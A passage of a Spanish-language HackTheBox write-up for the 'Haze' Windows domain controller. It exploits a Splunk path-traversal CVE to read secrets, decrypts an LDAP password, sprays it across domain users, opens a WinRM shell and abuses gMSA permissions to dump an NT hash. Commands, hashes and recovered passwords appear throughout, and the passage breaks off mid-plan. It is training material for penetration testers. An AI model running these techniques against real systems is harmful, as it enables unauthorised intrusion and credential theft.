Haze – HackTheBox Link to heading
- OS: Windows
- Difficulty / Dificultad: Hard / Difícil
- Platform / Plataforma: HackTheBox
Resumen Link to heading
“Haze” es una máquina de dificultad Difícil de la plataforma HackTheBox
. Identificamos que la máquina víctima es un Domain Controller
de un entorno Active Directory
, donde además se encuentra corriendo un servidor web. Este servidor web se encuentre corriendo una versión de Splunk
vulnerable a CVE-2024-36991, lo cual nos permite leer archivos del sistema. Esto nos permite leer archivos de configuración de Splunk
, obtener un hash, desencriptarlo y ganar acceso a un primer usuario. Performamos un “password spray” y vemos que un segundo usuario reutiliza la contraseña hallada para el primer usuario; pivoteando así a un segundo usuario. Este segundo usuario es parte de un grupo que puede modificar cuentas gMSA
. Esto nos permite darnos a nosotros mismos permisos para leer los hashes NT de cuentas gMSA
y tomar control de una de éstas. Esta cuenta de servicio puede realizar un ataque Shadow Credentials
para un tercer usuario, lo cual nos permite extraer el hash NT de un tercer usuario que puede acceder por WinRM
en la máquina víctima. Una vez dentro, encontramos un respaldo del servicio de Splunk
, del cual somos capaces de extraer credenciales para el servicio corriendo en el servidor web, acceder a éste, subir una aplicación maliciosa y ganar acceso a un cuarto usuario. Este cuarto usuario tiene el privilegio SeImpersonatePrivilege
, lo que nos permite elevar nuestros privilegios y tomar así control total del sistema.
User / Usuario Link to heading
Empezamos corriendo un escaneo con Nmap
contra la máquina víctima. encontramos así múltiples puertos TCP
abiertos; entre ellos tenemos: 53
DNS
, 88
Kerberos
, 135
Microsoft RPC
, 389
LDAP
, 445
SMB
, 5985
WinRM
, 8000
HTTP
, entre otros.
❯ sudo nmap -sVC -p53,88,135,139,389,445,464,593,636,3268,3269,5985,8000,8088,8089,9389,47001,49664,49665,49666,49667,49668,49672,49679,49680,54337,54342,54344,54357,54398 10.129.229.51
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-30 20:26 -03
Nmap scan report for 10.129.229.51
Host is up (0.37s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-03-31 07:26:13Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.haze.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.haze.htb
| Not valid before: 2025-03-05T07:12:20
|_Not valid after: 2026-03-05T07:12:20
|_ssl-date: TLS randomness does not represent time
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=dc01.haze.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.haze.htb
| Not valid before: 2025-03-05T07:12:20
|_Not valid after: 2026-03-05T07:12:20
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=dc01.haze.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.haze.htb
| Not valid before: 2025-03-05T07:12:20
|_Not valid after: 2026-03-05T07:12:20
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.haze.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.haze.htb
| Not valid before: 2025-03-05T07:12:20
|_Not valid after: 2026-03-05T07:12:20
|_ssl-date: TLS randomness does not represent time
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
8000/tcp open http Splunkd httpd
| http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_Requested resource was http://10.129.229.51:8000/en-US/account/login?return_to=%2Fen-US%2F
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: Splunkd
8088/tcp open ssl/http Splunkd httpd
|_http-server-header: Splunkd
| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
| Not valid before: 2025-03-05T07:29:08
|_Not valid after: 2028-03-04T07:29:08
|_http-title: 404 Not Found
| http-robots.txt: 1 disallowed entry
|_/
8089/tcp open ssl/http Splunkd httpd
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: Splunkd
| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
| Not valid before: 2025-03-05T07:29:08
|_Not valid after: 2028-03-04T07:29:08
|_http-title: splunkd
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49672/tcp open msrpc Microsoft Windows RPC
49679/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49680/tcp open msrpc Microsoft Windows RPC
54337/tcp open msrpc Microsoft Windows RPC
54342/tcp open msrpc Microsoft Windows RPC
54344/tcp open msrpc Microsoft Windows RPC
54357/tcp open msrpc Microsoft Windows RPC
54398/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: 8h00m00s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2025-03-31T07:27:17
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 90.73 seconds
Dado los puertos abiertos (como Kerberos
, SMB
, RPC
y LDAP
), podemos decir que estamos ante un entorno Active Directory
(AD
). Adicionalmente, el puerto 8000
se encuentra corriendo Splunk
.
Splunk
is a big data platform that simplifies the task of collecting and managing massive volumes of machine-generated data and searching for information within it. The technology is used for business and web analytics, application management, compliance, and security.Usando WhatWeb
contra el sitio web confirma este hallazgo:
❯ whatweb -a 3 http://10.129.229.51:8000/
http://10.129.229.51:8000/ [303 See Other] Country[RESERVED][ZZ], HTML5, HTTPServer[Splunkd], IP[10.129.229.51], Meta-Refresh-Redirect[http://10.129.229.51:8000/en-US/], RedirectLocation[http://10.129.229.51:8000/en-US/], Title[303 See Other], UncommonHeaders[x-content-type-options], X-Frame-Options[SAMEORIGIN]
http://10.129.229.51:8000/en-US/ [303 See Other] Cookies[session_id_8000], Country[RESERVED][ZZ], HTTPServer[Splunkd], HttpOnly[session_id_8000], IP[10.129.229.51], RedirectLocation[http://10.129.229.51:8000/en-US/account/login?return_to=%2Fen-US%2F], UncommonHeaders[x-content-type-options], X-Frame-Options[SAMEORIGIN]
http://10.129.229.51:8000/en-US/account/login?return_to=%2Fen-US%2F [200 OK] Bootstrap, Cookies[cval,splunkweb_uid], Country[RESERVED][ZZ], HTML5, HTTPServer[Splunkd], IP[10.129.229.51], Meta-Author[Splunk Inc.], Script[text/json], probably Splunk, UncommonHeaders[x-content-type-options], X-Frame-Options[SAMEORIGIN], X-UA-Compatible[IE=edge]
Además, podemos usar NetExec
contra el servicio SMB
de la máquina víctima para obtener tanto el nombre de la máquina como el nombre del dominio AD
:
❯ nxc smb 10.129.229.51
SMB 10.129.229.51 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:haze.htb) (signing:True) (SMBv1:False)
Tenemos un nombre de máquina DC01
y un dominio haze.htb
.
Agregamos el nombre de la máquina, el dominio y FQDN
(que no es más que <nombre máquina>.<dominio>
), junto con la IP de la máquina víctima, a nuestro archivo /etc/hosts
:
❯ echo '10.129.229.51 DC01 DC01.HAZE.HTB HAZE.HTB' | sudo tee -a /etc/hosts
Visitamos así http://haze.htb:8000
, el cual muestra un panel de login para Splunk
:
Del escaneo con Nmap
notamos que Splunk
también se encuentra corriendo en los puertos 8088
y 8089
usando HTTPs
. Visitando el puerto 8088
no da ningún resultado. Por otro lado, el puerto 8089
(visitando https://haze.htb:8089
) muestra información acerca del servicio Splunk
:
Podemos ver una versión para Splunk
: 9.2.1
.
Buscando por splunk 9.2.1 exploit
nos lleva a esta página. Allí se menciona una vulnerabilidad catalogada como CVE-2024-36991 la cual nos permite leer archivos del sistema a través de un Path Traversal
. Adicionalmente, ésta dice que sólo las versiones de Splunk
para Windows
deberían ser afectadas por esta vulnerabilidad; lo cual se da en este caso. Buscando por “Proof of Concepts” (“PoCs”, o “Pruebas de Concepto” en español) para esta vulnerabilidad encontramos este repositorio de Github. Lo clonamos y lo ejecutamos contra la máquina víctima:
❯ git clone https://github.com/bigb0x/CVE-2024-36991.git -q
❯ cd CVE-2024-36991
❯ python3 CVE-2024-36991.py -u http://haze.htb:8000
______ _______ ____ ___ ____ _ _ _____ __ ___ ___ _
/ ___\ \ / | ____| |___ \ / _ |___ \| || | |___ / / /_ / _ \ / _ \/ |
| | \ \ / /| _| _____ __) | | | |__) | || |_ _____ |_ \| '_ | (_) | (_) | |
| |___ \ V / | |__|_____/ __/| |_| / __/|__ _|________) | (_) \__, |\__, | |
\____| \_/ |_____| |_____|\___|_____| |_| |____/ \___/ /_/ /_/|_|
-> POC CVE-2024-36991. This exploit will attempt to read Splunk /etc/passwd file.
-> By x.com/MohamedNab1l
-> Use Wisely.
[INFO] Log directory created: logs
[INFO] Testing single target: http://haze.htb:8000
[VLUN] Vulnerable: http://haze.htb:8000
:admin:$6$Ak3m7.aHgb/NOQez$O7C8Ck2lg5RaXJs9FrwPr7xbJBJxMCpqIx3TG30Pvl7JSvv0pn3vtYnt8qF4WhL7hBZygwemqn7PBj5dLBm0D1::Administrator:admin:changeme@example.com:::20152
:edward:$6$3LQHFzfmlpMgxY57$Sk32K6eknpAtcT23h6igJRuM1eCe7WAfygm103cQ22/Niwp1pTCKzc0Ok1qhV25UsoUN4t7HYfoGDb4ZCv8pw1::Edward@haze.htb:user:Edward@haze.htb:::20152
:mark:$6$j4QsAJiV8mLg/bhA$Oa/l2cgCXF8Ux7xIaDe3dMW6.Qfobo0PtztrVMHZgdGa1j8423jUvMqYuqjZa/LPd.xryUwe699/8SgNC6v2H/:::user:Mark@haze.htb:::20152
:paul:$6$Y5ds8NjDLd7SzOTW$Zg/WOJxk38KtI.ci9RFl87hhWSawfpT6X.woxTvB4rduL4rDKkE.psK7eXm6TgriABAhqdCPI4P0hcB8xz0cd1:::user:paul@haze.htb:::20152
Funcionó. Obtenemos 4 hashes.
Tratamos de crackear estos hashes a través de un Brute Force Password Cracking
con John The Ripper
(john
) y Hashcat
usando el diccionario rockyou.txt
; pero no somos capaces de crackear ninguno de estos hashes.
No obstante, si leemos el output del script, éste está tratando de leer el archivo /etc/passwd
desde el directorio donde está instalado Splunk
. Dado que el Path Traversal
funciona, podríamos tratar de modificar levemente este script para leer archivos del sistema de Windows
, o para leer archivos de configuración del directorio donde está instalado Splunk
. El script que hice, basado en el repositorio anterior, para leer archivos de configuración de Splunk
puede ser encontrado en mi repositorio de Github. Tratemos de leer archivos de configuración de Splunk
. Podemos obtener una lista de archivos de configuración en la documentación de Splunk. De la misma manera, somos capaces de encontrar más documentación de Splunk o de este foro los cuales dan explicaciones de cómo Splunk
trata de leer contraseñas. En corto, se menciona que debería existir un directorio/carpeta $SPLUNK_HOME/etc/auth
, donde $SPLUNK_HOME
es el “directorio base/raíz” donde está instalado Splunk
. Además, Splunk
encripta las claves en base a una llave guardada en un archivo llamado splunk.secret
. Ejecutamos nuestro script tratando de leer aquel archivo que pueda contener este “secreto”/llave para desencriptar:
❯ python3 CVE-2024-36991.py -u http://haze.htb:8000 -f '/etc/auth/splunk.secret'
======================================================================
CVE-2024-36991
[*] Target URL: http://haze.htb:8000
[*] File to read: /etc/auth/splunk.secret
[*] Language: en_us
======================================================================
[*] Target seems to be vulnerable!
[*] Content extracted:
NfKeJCdFGKUQUqyQmnX/WM9xMn5uVF32qyiofYPHkEOGcpMsEN.lRPooJnBdEL5Gh2wm12jKEytQoxsAYA5mReU9.h0SYEwpFMDyyAuTqhnba9P2Kul0dyBizLpq6Nq5qiCTBK3UM516vzArIkZvWQLk3Bqm1YylhEfdUvaw1ngVqR1oRtg54qf4jG0X16hNDhXokoyvgb44lWcH33FrMXxMvzFKd5W3TaAUisO6rnN0xqB7cHbofaA1YV9vgD
El script funcionó. Obtuvimos un secreto para Splunk
el cual nos podría ser (y nos será) de utilidad luego.
También diseñé el script para leer archivos del sistema usando la flag --system-files
:
❯ python3 CVE-2024-36991.py -u http://haze.htb:8000 -f '/Windows/System32/drivers/etc/hosts' --system-files
======================================================================
CVE-2024-36991
[*] Target URL: http://haze.htb:8000
[*] File to read: /Windows/System32/drivers/etc/hosts (System file)
[*] Language: en_us
======================================================================
[*] Target seems to be vulnerable!
[*] Content extracted:
# Copyright (c) 1993-2009 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.
#
# Additionally, comments (such as these) may be inserted on individual
# lines or following the machine name denoted by a '#' symbol.
#
# For example:
#
# 102.54.94.97 rhino.acme.com # source server
# 38.25.63.10 x.acme.com # x client host
# localhost name resolution is handled within DNS itself.
# 127.0.0.1 localhost
# ::1 localhost
Funciona.
Luego de tratar de leer algunos archivos, volvemos a la documentación de Splunk
. Para el archivo authentication.conf
, que es el archivo de configuración de Splunk
, la documentación menciona una ruta $SPLUNK_HOME/etc/system/local
. Tratando de leer este archivo obtenemos:
❯ python3 CVE-2024-36991.py -u http://haze.htb:8000 -f '/etc/system/local/authentication.conf'
======================================================================
CVE-2024-36991
[*] Target URL: http://haze.htb:8000
[*] File to read: /etc/system/local/authentication.conf
[*] Language: en_us
======================================================================
[*] Target seems to be vulnerable!
[*] Content extracted:
[splunk_auth]
minPasswordLength = 8
minPasswordUppercase = 0
minPasswordLowercase = 0
minPasswordSpecial = 0
minPasswordDigit = 0
[Haze LDAP Auth]
SSLEnabled = 0
anonymous_referrals = 1
bindDN = CN=Paul Taylor,CN=Users,DC=haze,DC=htb
bindDNpassword = $7$ndnYiCPhf4lQgPhPu7Yz1pvGm66Nk0PpYcLN+qt1qyojg4QU+hKteemWQGUuTKDVlWbO8pY=
charset = utf8
emailAttribute = mail
enableRangeRetrieval = 0
groupBaseDN = CN=Splunk_LDAP_Auth,CN=Users,DC=haze,DC=htb
groupMappingAttribute = dn
groupMemberAttribute = member
groupNameAttribute = cn
host = dc01.haze.htb
nestedGroups = 0
network_timeout = 20
pagelimit = -1
port = 389
realNameAttribute = cn
sizelimit = 1000
timelimit = 15
userBaseDN = CN=Users,DC=haze,DC=htb
userNameAttribute = samaccountname
[authentication]
authSettings = Haze LDAP Auth
authType = LDAP
Obtenemos un hash:
$7$ndnYiCPhf4lQgPhPu7Yz1pvGm66Nk0PpYcLN+qt1qyojg4QU+hKteemWQGUuTKDVlWbO8pY=
y un distinguishedName
para Active Directory
(más específicamente para LDAP
):
CN=Paul Taylor,CN=Users,DC=haze,DC=htb
Encontramos un nombre: Paul Taylor
.
Podemos usar Kerbrute
para probar distintas combinaciones basados en el nombre de este usuario y ver así si alguna de éstas existe en el dominio. Creamos una lista con potenciales combinaciones de usuario para el nombre hallado:
❯ cat paul_taylor_options.txt
paul taylor
paul.taylor
p.taylor
y usamos Kerbrute
para revisar si alguno de estos existe en el dominio:
❯ kerbrute userenum -d haze.htb --dc 10.129.229.51 paul_taylor_options.txt
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: v1.0.3 (9dad6e1) - 03/31/25 - Ronnie Flathers @ropnop
2025/03/31 02:01:47 > Using KDC(s):
2025/03/31 02:01:47 > 10.129.229.51:88
2025/03/31 02:01:48 > [+] VALID USERNAME: paul.taylor@haze.htb
El usuario paul.taylor
existe en el dominio.
Ahora bien, necesitamos de alguna manera crackear el hash hallado en el archivo authentication.conf
. Adelanto de ya que no es crackeable con herramientas como john
o Hashcat
, por lo que no pierdan su tiempo. Buscando cómo sería posible “crackear” este hash, encontramos una herramienta especialmente diseñada para Splunk
llamada splunksecrets
. Para instalarla, y no romper nada en mi sistema, la instalaré usando pipx
(aquí pueden revisar cómo instalar pipx
por si acaso). Para instalar splunksecrets
con pipx
ejecutamos:
❯ pipx install 'git+https://github.com/HurricaneLabs/splunksecrets.git'
Ya instalado, ejecutamos el comando splunksecrets
:
❯ splunksecrets --help
Usage: splunksecrets [OPTIONS] COMMAND [ARGS]...
Options:
--help Show this message and exit.
Commands:
dbconnect-decrypt Decrypt password used for dbconnect identity
dbconnect-encrypt Encrypt password used for dbconnect identity
phantom-decrypt Decrypt password used for Phantom asset
phantom-encrypt Encrypt password used for Phantom asset
splunk-decrypt Decrypt password using Splunk 7.2 algorithm
splunk-encrypt Encrypt password using Splunk 7.2 algorithm
splunk-hash-passwd Generate password hash for use in...
splunk-legacy-decrypt Decrypt password using legacy Splunk algorithm...
splunk-legacy-encrypt Encrypt password using legacy Splunk algorithm...
Tenemos bastantes opciones.
Luego de probar alguna de ellas, la función splunk-legacy-decrypt
sirve. Para ésta necesitamos 2 items: 1) Un Splunk
secret; 2) Un ciphertext (contraseña encriptada). Previamente, cuando estábamos testeando nuestro script para leer archivos de Splunk, extrajimos el contenido del archivo /etc/auth/splunk.secret
, el cual es el secreto que necesitamos. Guardamos aquel secreto en un archivo en nuestra máquina de atacantes:
❯ echo 'NfKeJCdFGKUQUqyQmnX/WM9xMn5uVF32qyiofYPHkEOGcpMsEN.lRPooJnBdEL5Gh2wm12jKEytQoxsAYA5mReU9.h0SYEwpFMDyyAuTqhnba9P2Kul0dyBizLpq6Nq5qiCTBK3UM516vzArIkZvWQLk3Bqm1YylhEfdUvaw1ngVqR1oRtg54qf4jG0X16hNDhXokoyvgb44lWcH33FrMXxMvzFKd5W3TaAUisO6rnN0xqB7cHbofaA1YV9vgD' > splunk.secret
Usamos así la flag -S
para pasar el archivo que contenga el secreto y la flag --ciphertext
para pasar la contraseña encriptada:
❯ splunksecrets splunk-legacy-decrypt -S splunk.secret --ciphertext '$7$ndnYiCPhf4lQgPhPu7Yz1pvGm66Nk0PpYcLN+qt1qyojg4QU+hKteemWQGUuTKDVlWbO8pY='
Ld@p_Auth_Sp1unk@2k24
Obtenemos una contraseña: Ld@p_Auth_Sp1unk@2k24
.
Revisamos si esta contraseña sirve para el usuario paul.taylor
(el cual ya hemos verificado que existe en el dominio con Kerbrute
) usando la herramienta NetExec
:
❯ nxc smb haze.htb -u 'paul.taylor' -p 'Ld@p_Auth_Sp1unk@2k24'
SMB 10.129.229.51 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:haze.htb) (signing:True) (SMBv1:False)
SMB 10.129.229.51 445 DC01 [+] haze.htb\paul.taylor:Ld@p_Auth_Sp1unk@2k24
Funciona. Tenemos credenciales válidas para el dominio AD
.
Una cosa muy curiosa de esta máquina es que si tratamos de enumerar usuarios usando el servicio Microsoft RPC
con la herramienta rpcclient
sólo obtenemos neustro propio usuario:
❯ rpcclient -U 'paul.taylor%Ld@p_Auth_Sp1unk@2k24' 10.129.229.51 -c 'enumdomusers' | grep -o '\[.*\]' | sed 's/\[//;s/\]//' | awk -F 'rid' '{print $1}'
paul.taylor
Pero si usamos NetExec
y la opción --rid-brute
con el módulo SMB
(y luego de filtrar por resultados interesantes para nosotros), para enumerar usuarios por fuerza bruta a través de RID
, obtenemos bastantes más usuarios:
❯ nxc smb haze.htb -u 'paul.taylor' -p 'Ld@p_Auth_Sp1unk@2k24' --rid-brute | grep 'SidTypeUser' | awk '{print $6}' | awk -F '\' '{print $2}'
Administrator
Guest
krbtgt
DC01$
paul.taylor
mark.adams
edward.martin
alexander.green
Haze-IT-Backup$
Guardamos todos estos usuarios hallados del dominio en un archivo:
❯ nxc smb haze.htb -u 'paul.taylor' -p 'Ld@p_Auth_Sp1unk@2k24' --rid-brute | grep 'SidTypeUser' | awk '{print $6}' | awk -F '\' '{print $2}' > domain_users.txt
Revisamos si la contraseña de paul.taylor
es usada por algún otro usuario en el dominio con un Password Spray
a través de NetExec
:
❯ nxc smb haze.htb -u domain_users.txt -p 'Ld@p_Auth_Sp1unk@2k24' --continue-on-success
SMB 10.129.229.51 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:haze.htb) (signing:True) (SMBv1:False)
SMB 10.129.229.51 445 DC01 [-] haze.htb\Administrator:Ld@p_Auth_Sp1unk@2k24 STATUS_LOGON_FAILURE
SMB 10.129.229.51 445 DC01 [-] haze.htb\Guest:Ld@p_Auth_Sp1unk@2k24 STATUS_LOGON_FAILURE
SMB 10.129.229.51 445 DC01 [-] haze.htb\krbtgt:Ld@p_Auth_Sp1unk@2k24 STATUS_LOGON_FAILURE
SMB 10.129.229.51 445 DC01 [-] haze.htb\DC01$:Ld@p_Auth_Sp1unk@2k24 STATUS_LOGON_FAILURE
SMB 10.129.229.51 445 DC01 [+] haze.htb\paul.taylor:Ld@p_Auth_Sp1unk@2k24
SMB 10.129.229.51 445 DC01 [+] haze.htb\mark.adams:Ld@p_Auth_Sp1unk@2k24
SMB 10.129.229.51 445 DC01 [-] haze.htb\edward.martin:Ld@p_Auth_Sp1unk@2k24 STATUS_LOGON_FAILURE
SMB 10.129.229.51 445 DC01 [-] haze.htb\alexander.green:Ld@p_Auth_Sp1unk@2k24 STATUS_LOGON_FAILURE
SMB 10.129.229.51 445 DC01 [-] haze.htb\Haze-IT-Backup$:Ld@p_Auth_Sp1unk@2k24 STATUS_LOGON_FAILURE
Además de paul.taylor
, encontramos un usuario utilizando la misma contraseña llamado mark.adams
.
Revisamos si el usuario mark.adams
puede acceder a la máquina víctima a través del servicio WinRM
con NetExec
:
❯ nxc winrm haze.htb -u 'mark.adams' -p 'Ld@p_Auth_Sp1unk@2k24'
WINRM 10.129.229.51 5985 DC01 [*] Windows Server 2022 Build 20348 (name:DC01) (domain:haze.htb)
WINRM 10.129.229.51 5985 DC01 [+] haze.htb\mark.adams:Ld@p_Auth_Sp1unk@2k24 (Pwn3d!)
Tiene acceso.
Por ende, usamos evil-winrm
para loguear como el usuario mark.adams
:
❯ evil-winrm -i haze.htb -u 'mark.adams' -p 'Ld@p_Auth_Sp1unk@2k24'
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\mark.adams\Documents>
Otro dato curioso es que este usuario es capaz de enumerar más usuarios en el dominio a través del servicio Microsoft RPC
junto con rpcclient
:
❯ rpcclient -U 'mark.adams%Ld@p_Auth_Sp1unk@2k24' 10.129.229.51 -c 'enumdomusers' | grep -o '\[.*\]' | sed 's/\[//;s/\]//' | awk -F 'rid' '{print $1}'
Administrator
Guest
krbtgt
paul.taylor
mark.adams
alexander.green
¿Por qué recalco esto? “Fuera de cámaras” utilicé bloodhound-python
para analizar el dominio con Bloodhound
, pero los resultados estaban medio bugeados: teníamos menos usuarios de lo usual y los grupos sólo estaban enumerados por su SID
(más tarde descubrí que no era un bug, sino que era intencionado). Lo que intento decir es que si intentamos enumerar el dominio utilizando Bloodhound
sólo usando las credenciales de paul.taylor
el mapeo del dominio estará incompleto, lo cual hace sentido si es que las defensas del dominio están correctamente configuradas para que no todos los usuarios puedan leer permisos (ACLs
) y SIDs
del dominio.
Tratemos ahora de usar SharpHound
(el cual puede ser descargado desde su repositorio de Github) para enumerar apropiadamente el dominio como mark.adams
. Pasamos el ejecutable .exe
de SharpHound
a la máquina víctima usando la función upload
de evil-winrm
:
*Evil-WinRM* PS C:\Users\mark.adams\Documents> upload SharpHound.exe
Una vez subido, lo ejecutamos:
*Evil-WinRM* PS C:\Users\mark.adams\Documents> .\SharpHound.exe -c All
2025-03-31T07:57:09.4419327-07:00|INFORMATION|This version of SharpHound is compatible with the 5.0.0 Release of BloodHound
2025-03-31T07:57:09.6606136-07:00|INFORMATION|Resolved Collection Methods: Group, LocalAdmin, GPOLocalGroup, Session, LoggedOn, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote, UserRights, CARegistry, DCRegistry, CertServices
<SNIP>
Esto debería de generar un archivo .zip
en el directorio de trabajo actual:
*Evil-WinRM* PS C:\Users\mark.adams\Documents> dir
Directory: C:\Users\mark.adams\Documents
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 3/31/2025 7:57 AM 34879 20250331075712_BloodHound.zip
-a---- 3/31/2025 7:57 AM 1595 NzBkNGM2ZWYtODFhYy00M2M0LTgzNzMtNmViNTQ1NzJhN2Nk.bin
-a---- 3/31/2025 7:55 AM 1556992 SharpHound.exe
Descargamos el archivo desde la máquina víctima a nuestra máquina de atacantes usando la función download
de evil-winrm
:
*Evil-WinRM* PS C:\Users\mark.adams\Documents> download 20250331075712_BloodHound.zip
Info: Downloading C:\Users\mark.adams\Documents\20250331075712_BloodHound.zip to 20250331075712_BloodHound.zip
Info: Download successful!
Una vez descargado, subimos el archivo .zip
generado a Bloodhound
. En mi caso uso la Community Edition
(o CE
). Buscando por el usuario mark.adams
no muestra privilegios directos sobre otros usuarios. Sin embargo, este usuario es parte de un interesante grupo llamado gMSA_Managers
:
Esto podría significar que tenemos permisos sobre cuentas gMSA
.
gMSA
) son un tipo de cuenta de servicio en Windows Server
que permite ejecutar servicios en varios servidores sin tener que administrar manualmente las contraseñas.gMSA
son cuentas de servicio que administran sus contraseñas de manera automática.Usualmente, si tuviésemos los permisos ReadGMSAPassword
sobre una cuenta gMSA
deberíamos de ser capaces de leer su hash NT
. Para ver estos hashes podemos usar, por ejemplo, NetExec
como sigue:
❯ nxc ldap haze.htb -u 'mark.adams' -p 'Ld@p_Auth_Sp1unk@2k24' --gmsa
SMB 10.129.234.37 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:haze.htb) (signing:True) (SMBv1:False)
LDAPS 10.129.234.37 636 DC01 [+] haze.htb\mark.adams:Ld@p_Auth_Sp1unk@2k24
LDAPS 10.129.234.37 636 DC01 [*] Getting GMSA Passwords
LDAPS 10.129.234.37 636 DC01 Account: Haze-IT-Backup$ NTLM:
Encontramos una cuenta gMSA
llamada Haze-IT-Backup$
, pero no podemos ver su hash NTLM
. Esto es porque (todavía) no tenemos permisos ReadGMSAPassword
sobre esta cuenta.
Buscando cómo agregarnos los permisos ReadGMSAPassword
sobre una cuenta encontramos este blog explicando cómo hacerlo. Allí, ellos proveen el comando:
Set-ADServiceAccount `
-Identity 'SQL_HQ_Primary' `
-PrincipalsAllowedToRetrieveManagedPassword 'Administrator'
Si somos capaces de habilitar este priivilegio (dado que somos parte del grupo gMSA_Managers
, lo cual indica que deberíamos de ser capaces de administrar cuentas gMSA
), ejecutemos el comando previo en nuestra sesión de evil-winrm
, pero modificándolo:
*Evil-WinRM* PS C:\Users\mark.adams\Documents> Set-ADServiceAccount -Identity 'Haze-IT-Backup' -PrincipalsAllowedToRetrieveManagedPassword 'mark.adams'
No obtuvimos output alguno, por lo que quizás mark.adams
ahora tiene el privilegio ReadGMSAPassword
sobre la cuenta Haze-It-Backup$
.
Ejecutamos de nuevo el comando en NetExec
para abusar del permiso ReadGMSAPassword
:
❯ nxc ldap haze.htb -u 'mark.adams' -p 'Ld@p_Auth_Sp1unk@2k24' --gmsa
SMB 10.129.234.37 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:haze.htb) (signing:True) (SMBv1:False)
LDAPS 10.129.234.37 636 DC01 [+] haze.htb\mark.adams:Ld@p_Auth_Sp1unk@2k24
LDAPS 10.129.234.37 636 DC01 [*] Getting GMSA Passwords
LDAPS 10.129.234.37 636 DC01 Account: Haze-IT-Backup$ NTLM: 735c02c6b2dc54c3c8c6891f55279ebc
Esta vez funcionó. Obtenemos un hash NT
para la cuenta Haze-IT-Backup$
.
bloodhound-python
de nuevo como el usuario HAZE-IT-BACKUP$
y, nuevamente, hallamos usuarios, grupos y permisos que no habíamos visto antes. Este es un detalle bastante interesante de esta máquina.Ejecutamos bloodhound-python
(junto con faketime
y ntpdate
para evadir errores de tiempo con Kerberos
) en una terminal:
❯ faketime "$(ntpdate -q haze.htb | cut -d ' ' -f 1,2)" bloodhound-python -c ALL -u 'Haze-IT-Backup$' --hashes ':735c02c6b2dc54c3c8c6891f55279ebc' -d haze.htb -ns 10.129.234.37 --zip
<SNIP>
Y subimos el nuevo archivo .zip
generado a Bloodhound
.
De vuelta a Bloodhound
podemos revisar qué es lo que puede hacer la cuenta Haze-IT-Backup$
. Podemos ver que esta cuenta tiene permisos WriteOwner
sobre un grupo llamado Support_Services
:
y, a su misma vez, el grupo (y, por ende, sus miembros) Support_Services
tienen los permisos ForceChangePassword
y AddKeyCredentialLink
sobre el usuario edward.martin
:
El plan es simple:
- Agregarnos a nosotros mismos (actualmente el la cuenta
Haze-IT-Backup$
) como dueños del grupoSupport_Service
